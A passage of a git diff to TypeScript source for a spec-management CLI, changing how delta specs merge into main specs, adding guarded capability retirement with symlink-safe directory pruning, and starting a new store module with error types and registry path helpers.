+ } + } } catch { // Target spec does not exist; MODIFIED and RENAMED are not allowed for new specs // REMOVED will be ignored with a warning since there's nothing to remove @@ -214,14 +330,29 @@ export async function buildUpdatedSpec( } // Warn about REMOVED requirements being ignored for new specs if (plan.removed.length > 0) { - console.log( - chalk.yellow( - `⚠️ Warning: ${specName} - ${plan.removed.length} REMOVED requirement(s) ignored for new spec (nothing to remove).` - ) + warn( + `${specName} - ${plan.removed.length} REMOVED requirement(s) ignored for new spec (nothing to remove).` ); } isNewSpec = true; - targetContent = buildSpecSkeleton(specName, changeName); + targetContent = buildSpecSkeleton(specName, changeName, deltaPurpose); + const overview = deltaPurpose ? readableOverview(targetContent, specName) : null; + if (deltaPurpose && !overview) { + // Keep the placeholder rather than turning this into a failure: these + // deltas archived cleanly before the Purpose carry-over existed. + targetContent = buildSpecSkeleton(specName, changeName); + warn( + `${specName} - delta Purpose ignored (it would leave the new spec unreadable); wrote the placeholder Purpose instead.` + ); + } else if (overview && overview.length < MIN_PURPOSE_LENGTH) { + // The placeholder always cleared this threshold, so a carried Purpose is + // the first way archive can leave a spec that `validate --strict` fails. + // Measured on the parsed overview, which is what the validator reads. + warn( + `${specName} - carried Purpose is under ${MIN_PURPOSE_LENGTH} characters; ` + + `openspec validate --strict reports it as too brief.` + ); + } } const structureIssues = findMainSpecStructureIssues(targetContent); @@ -243,10 +374,29 @@ export async function buildUpdatedSpec( // Apply operations in order: RENAMED → REMOVED → MODIFIED → ADDED // RENAMED + let renamedApplied = 0; + const renamedTargets = new Map<string, string>(); for (const r of plan.renamed) { const from = normalizeRequirementName(r.from); const to = normalizeRequirementName(r.to); if (!nameToBlock.has(from)) { + // Source gone but target present means the rename was already synced + // to the baseline (early-sync pattern) — re-applying it is a no-op, + // not a failure. Only a missing source AND target is a genuine error. + if (nameToBlock.has(to)) { + // Unless a case/whitespace variant of the source still exists (and is + // not the target itself, as in a case-only rename): that is a typo'd + // header, not an early-synced rename — same guard REMOVED applies. + const nearMiss = [...nameToBlock.keys()].find( + (k) => k !== to && foldRequirementName(k) === foldRequirementName(from) + ); + if (nearMiss !== undefined) { + throw new Error( + `${specName} RENAMED failed for header "### Requirement: ${r.from}" - source not found, but "### Requirement: ${nameToBlock.get(nearMiss)!.name}" exists; fix the header to match it exactly` + ); + } + continue; + } throw new Error(`${specName} RENAMED failed for header "### Requirement: ${r.from}" - source not found`); } if (nameToBlock.has(to)) { @@ -263,46 +413,85 @@ export async function buildUpdatedSpec( }; nameToBlock.delete(from); nameToBlock.set(to, renamedBlock); + renamedTargets.set(from, to); + renamedApplied++; } // REMOVED + let removedApplied = 0; for (const name of plan.removed) { const key = normalizeRequirementName(name); if (!nameToBlock.has(key)) { - // For new specs, REMOVED requirements are already warned about and ignored - // For existing specs, missing requirements are an error + // Requirement gone from the baseline means the removal was already + // synced (early-sync pattern) — re-applying it is a no-op, not a + // failure. One signal does separate that from a mistyped header: a + // requirement that differs only in case or interior whitespace still + // being present. That is a typo, and stays a hard abort. + // For new specs the skip was already warned about above. if (!isNewSpec) { - throw new Error(`${specName} REMOVED failed for header "### Requirement: ${name}" - not found`); + const nearMiss = [...nameToBlock.keys()].find((k) => foldRequirementName(k) === foldRequirementName(key)); + if (nearMiss !== undefined) { + throw new Error( + `${specName} REMOVED failed for header "### Requirement: ${name}" - not found, but "### Requirement: ${nameToBlock.get(nearMiss)!.name}" exists; fix the header to match it exactly` + ); + } + warn( + `${specName} - REMOVED requirement "${name}" is not in the current spec; treating it as already removed.` + ); } - // Skip removal for new specs (already warned above) continue; } nameToBlock.delete(key); + removedApplied++; } // MODIFIED + let modifiedApplied = 0; for (const mod of plan.modified) { const key = normalizeRequirementName(mod.name); - if (!nameToBlock.has(key)) { + const currentBlock = nameToBlock.get(key); + if (!currentBlock) { throw new Error(`${specName} MODIFIED failed for header "### Requirement: ${mod.name}" - not found`); } // Replace block with provided raw (ensure header line matches key) - const modHeaderMatch = mod.raw.split('\n')[0].match(/^###\s*Requirement:\s*(.+)\s*$/); + const modHeaderMatch = mod.raw.split('\n')[0].match(/^###\s*Requirement:\s*(.+)\s*$/i); if (!modHeaderMatch || normalizeRequirementName(modHeaderMatch[1]) !== key) { throw new Error( `${specName} MODIFIED failed for header "### Requirement: ${mod.name}" - header mismatch in content` ); } + const missingScenarios = findMissingCurrentScenarios(currentBlock, mod); + if (missingScenarios.length > 0) { + throw new Error( + `${specName} MODIFIED failed for header "### Requirement: ${mod.name}" - current spec contains scenario(s) not present in the modified block: ${missingScenarios.map(name => `"${name}"`).join(', ')}. Refresh the change spec before archiving to avoid dropping scenarios.` + ); + } + // Identical content means the modification was already synced to the + // baseline (early-sync pattern) — count only real replacements, so a + // fully synced change still takes the "already in sync" write skip + // instead of churning normalization differences into the file. + if (normalizeBlockRaw(currentBlock.raw) !== normalizeBlockRaw(mod.raw)) { + modifiedApplied++; + } nameToBlock.set(key, mod); } // ADDED + let addedApplied = 0; for (const add of plan.added) { const key = normalizeRequirementName(add.name); - if (nameToBlock.has(key)) { + const existing = nameToBlock.get(key); + if (existing) { + // Identical content means the requirement was already synced to the + // baseline (early-sync pattern) — re-applying it is a no-op, not a + // conflict. Only differing content is a genuine collision. + if (normalizeBlockRaw(existing.raw) === normalizeBlockRaw(add.raw)) { + continue; + } throw new Error(`${specName} ADDED failed for header "### Requirement: ${add.name}" - already exists`); } nameToBlock.set(key, add); + addedApplied++; } // Duplicates within resulting map are implicitly prevented by key uniqueness. @@ -317,6 +506,31 @@ export async function buildUpdatedSpec( keptOrder.push(replacement); seen.add(key); } + // A block's raw runs to the next header the parser RECOGNISES, so a note + // under an unrecognized heading can be absorbed into the requirement. + // Warn only when the replacement from this same original block drops the + // full absorbed suffix. RENAMED carries the original raw content under a + // new map key, and MODIFIED may repeat the suffix deliberately; neither is + // data loss. + const renamedTarget = renamedTargets.get(key); + const replacementFromOriginal = + replacement ?? (renamedTarget ? nameToBlock.get(renamedTarget) : undefined); + if (replacementFromOriginal !== block) { + const foreign = firstForeignTail(block.raw); + const replacementRaw = replacementFromOriginal?.raw; + const normalizedForeign = foreign ? normalizeBlockRaw(foreign.raw) : ''; + const keepsForeignTail = + foreign !== undefined && + replacementRaw !== undefined && + countOccurrences(normalizeBlockRaw(replacementRaw), normalizedForeign) >= + countOccurrences(normalizeBlockRaw(block.raw), normalizedForeign); + if (foreign && !keepsForeignTail) { + warn( + `${specName} - "${foreign.heading}" sits inside requirement "${block.name}" and goes with it. ` + + 'Move it under its own requirement, or above `## Requirements`, to keep it.' + ); + } + } } // Append any newly added that were not in original order for (const [key, block] of nameToBlock.entries()) { @@ -339,156 +553,534 @@ export async function buildUpdatedSpec( return { rebuilt, counts: { - added: plan.added.length, - modified: plan.modified.length, - removed: plan.removed.length, - renamed: plan.renamed.length, + added: addedApplied, + modified: modifiedApplied, + removed: removedApplied, + renamed: renamedApplied, }, + warnings, + noRequirementBlocks: keptOrder.length === 0, + // Read off the ORIGINAL requirements section, not the rebuilt one. Anything + // after the last `### Requirement:` header belongs to that block's raw and + // is discarded with it, so a rebuilt-body scan only ever sees headings above + // the first requirement - it would veto `### Notes` written before the + // requirements and miss the identical heading written after them. + unaccountedContent: contentTheMergeCannotName(parts), }; } /** - * Write an updated spec to disk. + * The suffix of a requirement block that begins with content the requirement + * parser did not recognize as a boundary: a `#`, `##`, or `###` heading after + * the block's own header. + * + * `####` is excluded: a requirement's `#### Scenario:` headings are its own. + * Fenced lines are skipped, so a heading inside an example does not count. + * + * Approximate on purpose, and only ever used to WARN. A `#` line inside a + * scenario looks the same as a note written below the requirement, and no + * line-based rule separates them; a wrong warning costs a line of output, while + * acting on a wrong answer would rewrite the spec. */ -export async function writeUpdatedSpec( - update: SpecUpdate, - rebuilt: string, - counts: { added: number; modified: number; removed: number; renamed: number } -): Promise<void> { - // Create target directory if needed - const targetDir = path.dirname(update.target); - await fs.mkdir(targetDir, { recursive: true }); - await fs.writeFile(update.target, rebuilt); - - const specName = path.basename(path.dirname(update.target)); - console.log(`Applying changes to openspec/specs/${specName}/spec.md:`); - if (counts.added) console.log(` + ${counts.added} added`); - if (counts.modified) console.log(` ~ ${counts.modified} modified`); - if (counts.removed) console.log(` - ${counts.removed} removed`); - if (counts.renamed) console.log(` → ${counts.renamed} renamed`); +function firstForeignTail(raw: string): { heading: string; raw: string } | undefined { + const lines = raw.replace(/\r\n?/g, '\n').split('\n'); + const fenceMask = buildCodeFenceMask(lines); + for (let index = 1; index < lines.length; index++) { + if (fenceMask[index]) continue; + if (/^ {0,3}#{1,3}(?:[ \t]|$)/.test(lines[index])) { + return { + heading: lines[index].trim(), + raw: lines.slice(index).join('\n').trimEnd(), + }; + } + } + return undefined; } /** - * Build a skeleton spec for new capabilities. + * The non-blank lines of a spec that are not part of what a retirement is able + * to name: the title, the `## Purpose` section, the `## Requirements` header, + * and each requirement block's own header, statement and scenario bullets. + * + * Deliberately whole-file. Auditing a subset of the slices is what let authored + * prose inside a removed block, and content above the requirements section, be + * deleted unmentioned. */ -export function buildSpecSkeleton(specFolderName: string, changeName: string): string { - const titleBase = specFolderName; - return `# ${titleBase} Specification\n\n## Purpose\nTBD - created by archiving change ${changeName}. Update Purpose after archive.\n\n## Requirements\n`; +function contentTheMergeCannotName(parts: RequirementsSectionParts): string[] { + const leftovers: string[] = []; + + // Above the requirements section: the title and the Purpose section are + // expected; anything else is authored content the deletion would take. + const beforeLines = parts.before.replace(/^\uFEFF/, '').replace(/\r\n?/g, '\n').split('\n'); + const beforeMask = buildCodeFenceMask(beforeLines); + let inPurpose = false; + let titleSeen = false; + let previousLine = ''; + for (let index = 0; index < beforeLines.length; index++) { + const line = beforeLines[index]; + if (!line.trim()) { + previousLine = ''; + continue; + } + if (!beforeMask[index]) { + const section = line.match(/^ {0,3}##\s+(.+?)\s*$/); + if (section) { + inPurpose = /^purpose$/i.test(section[1].trim()); + if (!inPurpose) leftovers.push(line.trim()); + previousLine = line; + continue; + } + // `##` is not the only way to open a section. A setext underline turns + // the line above it into a heading, and raw HTML says so outright - a + // reader sees a sibling of `## Purpose`, not more of its body. Treating + // everything up to the next ATX `##` as Purpose swallowed those whole and + // deleted them, reported as nothing but "Purpose". + const setext = inPurpose && previousLine.trim() && /^ {0,3}(=+|-+)\s*$/.test(line); + const htmlHeading = /^ {0,3}<h[1-6]\b/i.test(line); + if (setext || htmlHeading) { + leftovers.push((setext ? previousLine : line).trim()); + inPurpose = false; + previousLine = line; + continue; + } + if (/^ {0,3}#\s+.+$/.test(line)) { + if (!titleSeen && !inPurpose) { + titleSeen = true; + } else { + leftovers.push(line.trim()); + inPurpose = false; + } + previousLine = line; + continue; + } + } + previousLine = line; + if (inPurpose) continue; + leftovers.push(line.trim()); + } + + // Between the header and the first requirement, and past the section's end. + for (const slice of [parts.preamble, parts.after]) { + for (const line of slice.split('\n')) { + if (line.trim()) leftovers.push(line.trim()); + } + } + + // Inside each requirement block, everything the block parser did not treat as + // a new header rides along in `raw` - tables, fences, comments, prose written + // below the scenarios. Only a requirement's own parts are expected here. + for (const block of parts.bodyBlocks) { + const foreignTail = firstForeignTail(block.raw); + if (foreignTail) leftovers.push(foreignTail.heading); + + const lines = block.raw.replace(/\r\n?/g, '\n').split('\n'); + const mask = buildCodeFenceMask(lines); + let seenScenario = false; + // A scenario's bullets run unbroken beneath its header. A blank line after + // them ends the scenario, so bullets written past that point are a note the + // author added, not part of the scenario - and deleting the file would take + // them. Treating every bullet as a scenario's own is what let an + // operational note below the last scenario be deleted unmentioned. + let inScenarioBullets = false; + let bulletsSeen = false; + for (let index = 0; index < lines.length; index++) { + const line = lines[index]; + if (!line.trim()) { + // Only a blank that follows actual bullets closes the run, so a blank + // between a scenario header and its first bullet is not a boundary. + if (bulletsSeen) inScenarioBullets = false; + continue; + } + if (index === 0) continue; // the `### Requirement:` header itself + // Fenced lines render as a code block inside the requirement, so they are + // its own content however they are spelled - a `### Requirement:` in an + // example is not a heading to any reader. Flagging them made a spec that + // merely documents a command unretirable. + if (mask[index]) continue; + if ( + index > 1 && + /^ {0,3}(?:=+|-+)\s*$/.test(line) && + lines[index - 1].trim() + ) { + leftovers.push(lines[index - 1].trim()); + continue; + } + if (/^ {0,3}####\s+Scenario:/i.test(line)) { + seenScenario = true; + inScenarioBullets = true; + bulletsSeen = false; + continue; + } + if (/^\s*(?:[-*]|\d+[.)])\s/.test(line)) { + if (inScenarioBullets) { + bulletsSeen = true; + continue; + } + // A bullet outside a scenario. Before the first scenario it is part of + // the requirement statement; after one it is the author's own note. + if (!seenScenario) continue; + leftovers.push(line.trim()); + continue; + } + // Free prose above the first scenario is the requirement statement. + if (!seenScenario && !/^\s*[|<]/.test(line)) continue; + leftovers.push(line.trim()); + } + } + + return [...new Set(leftovers)]; +} + +function normalizeBlockRaw(raw: string): string { + return raw.replace(/\r\n?/g, '\n').trim(); +} + +/** Count non-overlapping copies so one retained duplicate cannot mask another copy's loss. */ +function countOccurrences(haystack: string, needle: string): number { + if (!needle) return 0; + let count = 0; + let start = 0; + while ((start = haystack.indexOf(needle, start)) !== -1) { + count++; + start += needle.length; + } + return count; } /** - * Apply all delta specs from a change to main specs. + * Retire a capability whose last requirement a delta removed: delete its main + * spec and prune any directories the deletion leaves empty. Returns false when + * there was nothing to delete. + * + * Gated by the caller on the change's `retire_capabilities` marker, so the one + * archive action that removes a file from `openspec/specs/` is always something + * the author asked for rather than something inferred from a delta's shape. The + * file is recoverable from git, which the report names; applying REMOVED already + * deletes requirement content from a main spec, so deleting the spec once + * nothing is left is the same operation carried to its end rather than a new + * kind of act. + * + * Only the generated `spec.md` is removed - a directory holding anything else (a + * nested capability, a hand-kept note) is left in place. + * + * The target must resolve inside the selected specs root. A capability-directory + * symlink must not turn a retirement marker into authorization to delete an + * unrelated external file. A symlinked `spec.md` itself is safe: unlink removes + * the link and leaves its target alone. * - * @param projectRoot - The project root directory - * @param changeName - The name of the change to apply - * @param options - Options for the operation - * @returns Result of the operation with counts + * Directory pruning IS bounded, by REAL paths rather than string prefixes: + * `path.resolve` collapses `..` but does not resolve symlinks, and `readdir` and + * `rmdir` both follow them, so a symlinked capability directory would otherwise + * let the walk delete directories outside the specs root entirely. */ -export async function applySpecs( - projectRoot: string, - changeName: string, +export async function retireSpec( + update: SpecUpdate, + mainSpecsDir: string, options: { - dryRun?: boolean; - skipValidation?: boolean; silent?: boolean; + displayPath?: string; + beforeMutate?: () => Promise<void>; + verifyDisplaced?: (displacedPath: string) => Promise<void>; + deferDelete?: boolean; } = {} -): Promise<SpecsApplyOutput> { - const changeDir = path.join(projectRoot, 'openspec', 'changes', changeName); - const mainSpecsDir = path.join(projectRoot, 'openspec', 'specs'); +): Promise<{ retired: boolean; resolvedPath?: string; displacedPath?: string }> { + if (options.deferDelete && options.verifyDisplaced === undefined) { + throw new Error('Deferred retirement requires displaced-file verification.'); + } + // Resolved before the unlink, while the link still exists, so the report can + // name the file that actually goes when a symlink points out of the tree. + // A symlinked `spec.md` is excluded: `realpath` would follow it, but `unlink` + // removes the link and leaves the target alone, so naming the target would + // claim a file was deleted that is still there. + let realSource: string | undefined; + try { + const link = await fs.lstat(update.target); + realSource = link.isSymbolicLink() ? undefined : await fs.realpath(update.target); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') return { retired: false }; + throw new Error( + `Could not retire capability '${update.id}': could not verify ${update.target} ` + + `before deletion (${error instanceof Error ? error.message : String(error)}).` + ); + } - // Verify change exists + if (realSource !== undefined) { + let inside: boolean; + try { + inside = await isInsideRealDir(realSource, mainSpecsDir); + } catch (error) { + throw new Error( + `Could not retire capability '${update.id}': could not verify that ${update.target} ` + + `is inside ${mainSpecsDir} (${error instanceof Error ? error.message : String(error)}).` + ); + } + if (!inside) { + throw new Error( + `Could not retire capability '${update.id}': ${update.target} resolves outside ` + + `${mainSpecsDir}. Remove the external file by hand, or replace the symlink and rerun.` + ); + } + } + + let displacedPath: string | undefined; try { - const stat = await fs.stat(changeDir); - if (!stat.isDirectory()) { - throw new Error(`Change '${changeName}' not found.`); + await options.beforeMutate?.(); + if (options.verifyDisplaced) { + const displaced = `${update.target}.openspec-retire-${randomUUID()}`; + displacedPath = displaced; + await fs.rename(update.target, displaced); + try { + await options.verifyDisplaced(displaced); + try { + await fs.lstat(update.target); + throw new Error( + `A concurrent file appeared at ${update.target} while archive was retiring it.` + ); + } catch (targetError) { + if ((targetError as NodeJS.ErrnoException).code !== 'ENOENT') throw targetError; + } + if (!options.deferDelete) await fs.unlink(displaced); + } catch (error) { + try { + await fs.lstat(update.target); + throw new Error( + `${error instanceof Error ? error.message : String(error)} ` + + `A concurrent file now occupies ${update.target}; the displaced spec was retained at ${displaced}.` + ); + } catch (targetError) { + if ((targetError as NodeJS.ErrnoException).code !== 'ENOENT') throw targetError; + } + await fs.rename(displaced, update.target); + throw error; + } + } else { + await fs.unlink(update.target); } - } catch { - throw new Error(`Change '${changeName}' not found.`); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') return { retired: false }; + // A bare errno here reads as an internal failure; say what was being + // attempted so the message is actionable on its own. + throw new Error( + `Could not retire capability '${update.id}': failed to delete ${update.target} ` + + `(${(error as Error).message}). Remove it by hand, then rerun the archive.` + ); } - // Find specs to update - const specUpdates = await findSpecUpdates(changeDir, mainSpecsDir); + if (!options.deferDelete) { + await pruneEmptyDirs(path.dirname(update.target), mainSpecsDir); + } - if (specUpdates.length === 0) { - return { - changeName, - capabilities: [], - totals: { added: 0, modified: 0, removed: 0, renamed: 0 }, - noChanges: true, - }; + const nominal = options.displayPath ?? `openspec/specs/${update.id}/spec.md`; + if (!options.silent) { + console.log(`Retiring ${nominal}: all requirements removed.`); } + // `resolvedPath` is always the file that was actually unlinked - callers need + // it to report a path git will accept, since the nominal one is built from + // the capability id and can differ in case, or point through a symlink. + return { + retired: true, + ...(realSource ? { resolvedPath: realSource } : {}), + ...(options.deferDelete && displacedPath ? { displacedPath } : {}), + }; +} - // Prepare all updates first (validation pass, no writes) - const prepared: Array<{ - update: SpecUpdate; - rebuilt: string; - counts: { added: number; modified: number; removed: number; renamed: number }; - }> = []; - - for (const update of specUpdates) { - const built = await buildUpdatedSpec(update, changeName); - prepared.push({ update, rebuilt: built.rebuilt, counts: built.counts }); - } - - // Validate rebuilt specs unless validation is skipped - if (!options.skipValidation) { - const validator = new Validator(); - for (const p of prepared) { - const specName = path.basename(path.dirname(p.update.target)); - const report = await validator.validateSpecContent(specName, p.rebuilt); - if (!report.valid) { - const errors = report.issues - .filter((i) => i.level === 'ERROR') - .map((i) => ` ✗ ${i.message}`) - .join('\n'); - throw new Error(`Validation errors in rebuilt spec for ${specName}:\n${errors}`); - } +export async function finalizeRetiredSpec( + target: string, + displacedPath: string, + mainSpecsDir: string +): Promise<void> { + await fs.unlink(displacedPath); + await pruneEmptyDirs(path.dirname(target), mainSpecsDir); +} + +/** Whether `realPath` (already canonical) sits under the real `dir`. */ +async function isInsideRealDir(realPath: string, dir: string): Promise<boolean> { + const realDir = await fs.realpath(dir); + return realPath.startsWith(realDir + path.sep); +} + +/** + * Remove now-empty directories from `startDir` upward, never leaving the real + * `boundaryDir` and never removing that directory itself. + * + * The boundary is a parameter rather than the specs root directly so the walk's + * containment is stated at the call site, where the root it must not escape is + * the thing being reasoned about. + * + * The guard re-runs every iteration, so stepping to the LEXICAL parent is safe: + * a parent that is not the real one is simply re-resolved and rejected. Errors + * are swallowed and end the walk - ENOTEMPTY and ENOENT are correct outcomes (a + * file arriving mid-walk must win), and a permissions failure leaves an empty + * directory behind, which the next successful archive clears. + * + * Not race-free: an attacker who can swap an ancestor between the check and the + * `rmdir` could get an empty directory outside the root removed. Closing that + * needs fd-relative syscalls Node does not expose, and it requires local write + * access to `openspec/specs` during an archive. + */ +async function pruneEmptyDirs(startDir: string, boundaryDir: string): Promise<void> { + let boundary: string; + try { + boundary = await fs.realpath(boundaryDir); + } catch { + return; + } + + let dir = startDir; + for (;;) { + let realDir: string; + try { + // lstat first: rmdir on a symlink fails anyway, but resolving one would + // walk us out of the tree, and the parent we then step to would be wrong. + const link = await fs.lstat(dir); + if (link.isSymbolicLink()) return; + realDir = await fs.realpath(dir); + } catch { + return; } + + // Strictly inside the real boundary - the boundary itself is never pruned. + if (realDir === boundary || !realDir.startsWith(boundary + path.sep)) return; + + try { + const entries = await fs.readdir(dir); + if (entries.length > 0) return; + await fs.rmdir(dir); + } catch { + return; + } + + dir = path.dirname(dir); } +} - // Build results - const capabilities: ApplyResult[] = []; - const totals = { added: 0, modified: 0, removed: 0, renamed: 0 }; +/** + * Write an updated spec to disk. + */ +export async function writeUpdatedSpec( + update: SpecUpdate, + rebuilt: string, + counts: { added: number; modified: number; removed: number; renamed: number }, + options: { + silent?: boolean; + displayPath?: string; + beforeMutate?: () => Promise<void>; + } = {} +): Promise<void> { + assertTrustedSpecPath(update.targetRoot, update.target); - for (const p of prepared) { - const capability = path.basename(path.dirname(p.update.target)); + // Create target directory if needed + const targetDir = path.dirname(update.target); + await fs.mkdir(targetDir, { recursive: true }); + await options.beforeMutate?.(); + // Preserve the established in-place write semantics: symlink referents, + // hard-linked specs, ACLs, extended attributes, and filesystems without hard + // links must continue to behave as they did before capability retirement. + await fs.writeFile(update.target, rebuilt); + if (options.silent) return; - if (!options.dryRun) { - // Write the updated spec - const targetDir = path.dirname(p.update.target); - await fs.mkdir(targetDir, { recursive: true }); - await fs.writeFile(p.update.target, p.rebuilt); + const specName = update.id; + console.log(`Applying changes to ${options.displayPath ?? `openspec/specs/${specName}/spec.md`}:`); + if (counts.added) console.log(` + ${counts.added} added`); + if (counts.modified) console.log(` ~ ${counts.modified} modified`); + if (counts.removed) console.log(` - ${counts.removed} removed`); + if (counts.renamed) console.log(` → ${counts.renamed} renamed`); +} - if (!options.silent) { - console.log(`Applying changes to openspec/specs/${capability}/spec.md:`); - if (p.counts.added) console.log(` + ${p.counts.added} added`); - if (p.counts.modified) console.log(` ~ ${p.counts.modified} modified`); - if (p.counts.removed) console.log(` - ${p.counts.removed} removed`); - if (p.counts.renamed) console.log(` → ${p.counts.renamed} renamed`); - } - } else if (!options.silent) { - console.log(`Would apply changes to openspec/specs/${capability}/spec.md:`); - if (p.counts.added) console.log(` + ${p.counts.added} added`); - if (p.counts.modified) console.log(` ~ ${p.counts.modified} modified`); - if (p.counts.removed) console.log(` - ${p.counts.removed} removed`); - if (p.counts.renamed) console.log(` → ${p.counts.renamed} renamed`); +/** Blank out `<!-- ... -->` spans, preserving line count so indices stay aligned. */ +function maskHtmlComments(content: string): string { + const blank = (text: string) => text.replace(/[^\n]/g, ' '); + // `--!>` is a comment terminator as well as `-->`. + const masked = content.replace(/<!--[\s\S]*?--!?>/g, blank); + // A comment that is never closed runs to end of file, so everything after it + // is commented out too. Without this an unterminated `<!--` above a + // `## Purpose` left the commented-out header looking real (#1413). + const unterminated = masked.indexOf('<!--'); + if (unterminated === -1) return masked; + return masked.slice(0, unterminated) + blank(masked.slice(unterminated)); +} + +/** + * Read the body of a `## Purpose` section, ignoring markdown that only appears + * inside fenced code blocks or HTML comments. Returns undefined when the + * section is absent or its body is empty. + */ +function extractPurposeSection(content: string): string | undefined { + const normalized = content.replace(/\r\n?/g, '\n'); + const lines = normalized.split('\n'); + // Structure is read from the masked copy so a commented-out or fenced + // `## Purpose` is not mistaken for the real one; the body is returned from + // the original lines so an author's own comments and fences survive intact. + const masked = maskHtmlComments(normalized).split('\n'); + const fenceMask = buildCodeFenceMask(masked); + const isStructural = (i: number) => !fenceMask[i]; + + const start = masked.findIndex((line, i) => isStructural(i) && /^##\s+Purpose\s*$/i.test(line)); + if (start === -1) return undefined; + + let end = masked.length; + for (let i = start + 1; i < masked.length; i++) { + if (isStructural(i) && /^##\s+/.test(masked[i])) { + end = i; + break; } + } - capabilities.push({ - capability, - ...p.counts, - }); + // Emptiness is judged with fenced blocks and HTML comments blanked out, so a + // Purpose that is only a code sample or only an unfilled template comment + // counts as absent and falls back to the TBD placeholder. + const hasProse = masked + .slice(start + 1, end) + .filter((_, offset) => isStructural(start + 1 + offset)) + .join('\n') + .trim(); + if (!hasProse) return undefined; + + const body = lines.slice(start + 1, end).join('\n').trim(); + return body || undefined; +} - totals.added += p.counts.added; - totals.modified += p.counts.modified; - totals.removed += p.counts.removed; - totals.renamed += p.counts.renamed; +/** + * The Purpose a new main spec would end up with, or null when carrying the + * delta's body over would leave a spec the readers downstream cannot handle. + * + * Returns the parsed overview rather than a boolean so callers measure the same + * string `validate` measures, not the raw slice out of the delta. + */ +function readableOverview(skeleton: string, specName: string): string | null { + // HTML comments are invisible to the spec parsers but not to the file itself: + // markdown hidden in one is skipped by the boundary scan yet still lands in + // the spec, where it can hide the headers those parsers depend on and blank + // the document out in any markdown renderer. Refuse rather than write a spec + // that reads differently depending on who is reading it (#1413). + // + // Only the opener is disqualifying, and only because `maskHtmlComments` + // covers unterminated comments too: a comment starting above the section + // header therefore always masks the header, leaving no body to carry, so a + // body can only hide content behind a `<!--` of its own. A bare `-->` hides + // nothing and renders as text - rejecting it would throw away a Purpose over + // prose like "ingest --> transform". + if (skeleton.includes('<!--')) return null; + if (findMainSpecStructureIssues(skeleton).length > 0) return null; + try { + // A heading or unterminated fence in the body truncates or swallows the + // sections around it, so archive would abort or write a spec its own + // validator rejects. + return new MarkdownParser(skeleton).parseSpec(specName).overview.trim() || null; + } catch { + return null; } +} - return { - changeName, - capabilities, - totals, - noChanges: false, - }; +/** + * Build a skeleton spec for new capabilities. When the delta spec authored a + * `## Purpose`, carry it over instead of the TBD placeholder (#1413) - archive + * invents the Purpose for a brand-new main spec either way, and the author's + * own wording beats a placeholder they then have to hand-edit. + */ +export function buildSpecSkeleton(specFolderName: string, changeName: string, purpose?: string): string { + const titleBase = specFolderName; + const purposeBody = + purpose?.trim() || `TBD - created by archiving change ${changeName}. Update Purpose after archive.`; + return `# ${titleBase} Specification\n\n## Purpose\n${purposeBody}\n\n## Requirements\n`; } diff --git a/src/core/store/errors.ts b/src/core/store/errors.ts new file mode 100644 index 0000000000..6f248cd9db --- /dev/null +++ b/src/core/store/errors.ts @@ -0,0 +1,42 @@ +export type StoreDiagnosticSeverity = 'error' | 'warning' | 'info'; + +export interface StoreDiagnostic { + severity: StoreDiagnosticSeverity; + code: string; + message: string; + target?: string; + fix?: string; +} + +export class StoreError extends Error { + readonly diagnostic: StoreDiagnostic; + + constructor( + message: string, + code: string, + options: { target?: string; fix?: string } = {} + ) { + super(message); + this.name = 'StoreError'; + this.diagnostic = { + severity: 'error', + code, + message, + ...options, + }; + } +} + +export function makeStoreDiagnostic( + severity: StoreDiagnosticSeverity, + code: string, + message: string, + options: { target?: string; fix?: string } = {} +): StoreDiagnostic { + return { + severity, + code, + message, + ...options, + }; +} diff --git a/src/core/store/foundation.ts b/src/core/store/foundation.ts new file mode 100644 index 0000000000..3bd1e1f69c --- /dev/null +++ b/src/core/store/foundation.ts @@ -0,0 +1,414 @@ +import * as nodeFs from 'node:fs'; +import * as path from 'node:path'; +import { parse as parseYaml, stringify as stringifyYaml } from 'yaml'; +import { z } from 'zod'; +import { + folderStyleNameProblem, + isKebabId, + KEBAB_ID_DESCRIPTION, + KEBAB_ID_FIX, +} from '../id.js'; + +import { getGlobalDataDir } from '../global-config.js'; +import { FileSystemUtils } from '../../utils/file-system.js'; +import { + acquireFileLock, + isNodeErrorCode, + makeLockErrorFactory, + pathIsDirectory, + pathIsFile, + releaseFileLock, + writeFileAtomically, +} from '../file-state.js'; +import { formatZodIssues } from '../zod-issues.js'; +import { StoreError } from './errors.js'; + +const fs = nodeFs.promises; + +export const STORE_METADATA_DIR_NAME = '.openspec-store'; +export const STORE_METADATA_FILE_NAME = 'store.yaml'; +export const STORES_DIR_NAME = 'stores'; +export const STORE_REGISTRY_FILE_NAME = 'registry.yaml'; + +export interface StorePathOptions { + globalDataDir?: string; +} + +export interface StoreGitBackendConfig { + type: 'git'; + local_path: string; + remote?: string; + branch?: string; +} + +export type StoreBackendConfig = StoreGitBackendConfig; + +export interface StoreRegistryEntryState { + backend: StoreBackendConfig; +} + +export interface StoreRegistryState { + version: 1; + stores: Record<string, StoreRegistryEntryState>; +} + +export interface StoreRegistryEntry { + id: string; + backend: StoreBackendConfig; +} + +export interface StoreMetadataState { + version: 1; + id: string; + /** Canonical clone source, team-authored. Optional (slice 3.3). */ + remote?: string; +} + +export interface ResolveGitStoreBackendInput { + localPath: string; + remote?: string; + branch?: string; +} + +function joinStorePath(basePath: string, ...segments: string[]): string { + return FileSystemUtils.joinPath(basePath, ...segments); +} + +export function getStoresDir(options: StorePathOptions = {}): string { + return joinStorePath(options.globalDataDir ?? getGlobalDataDir(), STORES_DIR_NAME); +} + +export function getStoreRegistryPath(options: StorePathOptions = {}): string { + return joinStorePath(getStoresDir(options), STORE_REGISTRY_FILE_NAME); +} + +export function getStoreMetadataDir(storeRoot: string): string { + return joinStorePath(storeRoot, STORE_METADATA_DIR_NAME); +} + +export function getStoreMetadataPath(storeRoot: string): string { + return joinStorePath( + getStoreMetadataDir(storeRoot), + STORE_METADATA_FILE_NAME + ); +} + +export function validateStoreId(id: string): string { + const folderProblem = folderStyleNameProblem(id, 'Store id'); + if (folderProblem !== null) { + throw new StoreError(folderProblem, 'invalid_store_id', { + target: 'store.id', + fix: KEBAB_ID_FIX, + }); + } + + if (!isKebabId(id)) { + throw new StoreError( + `Store id ${KEBAB_ID_DESCRIPTION}`, + 'invalid_store_id', + { + target: 'store.id', + fix: KEBAB_ID_FIX, + } + ); + } + + return id; +} + +export function isValidStoreId(id: string): boolean { + try { + validateStoreId(id); + return true; + } catch { + return false; + } +} + +function isFileNotFoundError(error: unknown): boolean { + return 